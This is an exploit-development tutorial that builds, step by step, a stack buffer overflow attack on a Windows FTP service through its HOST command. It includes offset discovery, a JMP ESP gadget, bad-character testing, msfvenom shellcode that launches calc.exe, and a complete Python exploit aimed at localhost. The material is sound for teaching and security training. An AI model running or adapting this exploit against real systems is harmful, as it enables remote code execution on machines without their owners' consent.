This tutorial walks through exploiting a stack buffer overflow in a Windows application. We’ll use Immunity Debugger with mona.py to find the offset, locate a JMP ESP gadget, identify bad characters, and execute shellcode.
Tools Required
- Immunity Debugger: Windows debugger for exploit development
- mona.py: Plugin for Immunity Debugger
- Python 2.7: For exploit scripts
- msfvenom: For shellcode generation
Exploit Skeleton
Start with a basic network exploit template:
import socket
buffer = b"A"*1000
print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.send(b'USER anonymous\r\n')
s.recv(1024)
s.send(b'PASS anonymous\r\n')
s.recv(1024)
s.send(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")Finding the Offset
Confirm the Crash
Run the skeleton and observe EIP:
EIP: 0x41414141EIP is overwritten with our ‘A’ characters.
Create Pattern
In Immunity Debugger:
!mona pattern_create 1000This creates pattern.txt in the mona working directory.
Find Offset
After crashing with the pattern, note EIP value:
EIP: 69413269Calculate the offset:
!mona pattern_offset 69413269Pattern i2Ai (0x69413269) found at position 247Verify Control
buffer = 'A'*247
buffer += 'BBBB' # EIP
buffer += 'C'*749 # Remaining spaceAfter running:
EIP: 42424242
ESP -> "CCCCCCCC..."We control EIP, and ESP points to our C buffer.
Finding JMP ESP
Since ESP points to data after EIP, we need a JMP ESP instruction to redirect execution.
!mona jmp -r ESPResults show addresses from various DLLs. Choose one without null bytes and from a module without ASLR/SafeSEH:
0x77e2d9d3 : jmp esp | ADVAPI32.dll
ASLR: False, Rebase: False, SafeSEH: FalseTesting Execution Flow
Add NOPs and INT3
buffer = "A"*247
buffer += "\xd3\xd9\xe2\x77" # JMP ESP (little endian)
buffer += "\x90"*20 # NOP sled
buffer += "\xcc"*(749-20) # INT3 breakpointsAfter running, the debugger should break on INT3, confirming code execution on the stack.
Identifying Bad Characters
Generate Test String
Create a byte array with all characters except null:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)Send and Analyze
buffer = "A"*247
buffer += "\xd3\xd9\xe2\x77"
buffer += "\x90"*20
buffer += "\xcc"
buffer += badchars
buffer += "C"*(749-20-1-len(badchars))Examine the stack in memory. Look for missing or corrupted bytes:
- If truncated at
\x0a- newline is bad (common for FTP) - If truncated at
\x0d- carriage return is bad - If bytes are missing in sequence - they’re bad characters
Common Bad Characters
For FTP servers:
\x00- Null (always bad)\x0a- Newline\x0d- Carriage return
Generating Shellcode
msfvenom -p windows/exec cmd=calc.exe \
exitfunc=thread \
-b "\x00\x0a\x0d" \
-f cunsigned char shellcode[] =
"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
...
"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64";Complete Exploit
import socket
shellcode = (
b"\xbe\x64\x82\x92\x40\xdb\xd7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
b"\x31\x31\x77\x13\x83\xef\xfc\x03\x77\x6b\x60\x67\xbc\x9b\xe6"
b"\x88\x3d\x5b\x87\x01\xd8\x6a\x87\x76\xa8\xdc\x37\xfc\xfc\xd0"
b"\xbc\x50\x15\x63\xb0\x7c\x1a\xc4\x7f\x5b\x15\xd5\x2c\x9f\x34"
b"\x55\x2f\xcc\x96\x64\xe0\x01\xd6\xa1\x1d\xeb\x8a\x7a\x69\x5e"
b"\x3b\x0f\x27\x63\xb0\x43\xa9\xe3\x25\x13\xc8\xc2\xfb\x28\x93"
b"\xc4\xfa\xfd\xaf\x4c\xe5\xe2\x8a\x07\x9e\xd0\x61\x96\x76\x29"
b"\x89\x35\xb7\x86\x78\x47\xff\x20\x63\x32\x09\x53\x1e\x45\xce"
b"\x2e\xc4\xc0\xd5\x88\x8f\x73\x32\x29\x43\xe5\xb1\x25\x28\x61"
b"\x9d\x29\xaf\xa6\x95\x55\x24\x49\x7a\xdc\x7e\x6e\x5e\x85\x25"
b"\x0f\xc7\x63\x8b\x30\x17\xcc\x74\x95\x53\xe0\x61\xa4\x39\x6e"
b"\x77\x3a\x44\xdc\x77\x44\x47\x70\x10\x75\xcc\x1f\x67\x8a\x07"
b"\x64\x87\x68\x82\x90\x20\x35\x47\x19\x2d\xc6\xbd\x5d\x48\x45"
b"\x34\x1d\xaf\x55\x3d\x18\xeb\xd1\xad\x50\x64\xb4\xd1\xc7\x85"
b"\x9d\xb1\x86\x15\x7d\x18\x2d\x9e\xe4\x64"
)
buffer = b"A"*247
buffer += b"\xd3\xd9\xe2\x77" # JMP ESP
buffer += b"\x90"*20 # NOP sled
buffer += shellcode
buffer += b"C"*(749-20-len(shellcode))
print("[+] Sending buffer.")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 21))
s.recv(1024)
s.send(b'USER anonymous\r\n')
s.recv(1024)
s.send(b'PASS anonymous\r\n')
s.recv(1024)
s.send(b'HOST ' + buffer + b'\r\n')
s.close()
print("[+] Exploit completed.")Buffer Layout
| Junk | EIP | NOPs | Shellcode | Padding |
247B 4B 20B ~220B Rest
EIP -> JMP ESP instruction
ESP -> Points here after JMP
NOP sled provides landing zone
Shellcode executesKey Concepts
Why JMP ESP?
After ret executes:
- EIP is popped from stack
- ESP now points to data after EIP
- JMP ESP redirects execution to ESP
NOP Sled Purpose
- Provides a safe landing zone
- Absorbs minor address variations
- Encoded shellcode sometimes needs decoder space
exitfunc=thread
Using thread exit function keeps the process running after shellcode. Use process to exit the entire application.
Troubleshooting
Shellcode Doesn’t Execute
- Check for additional bad characters
- Increase NOP sled size
- Verify JMP ESP address is correct
- Ensure DEP is disabled
Access Violation
- JMP ESP address may contain bad chars
- Find alternative address from another module
- Check if ASLR is affecting the address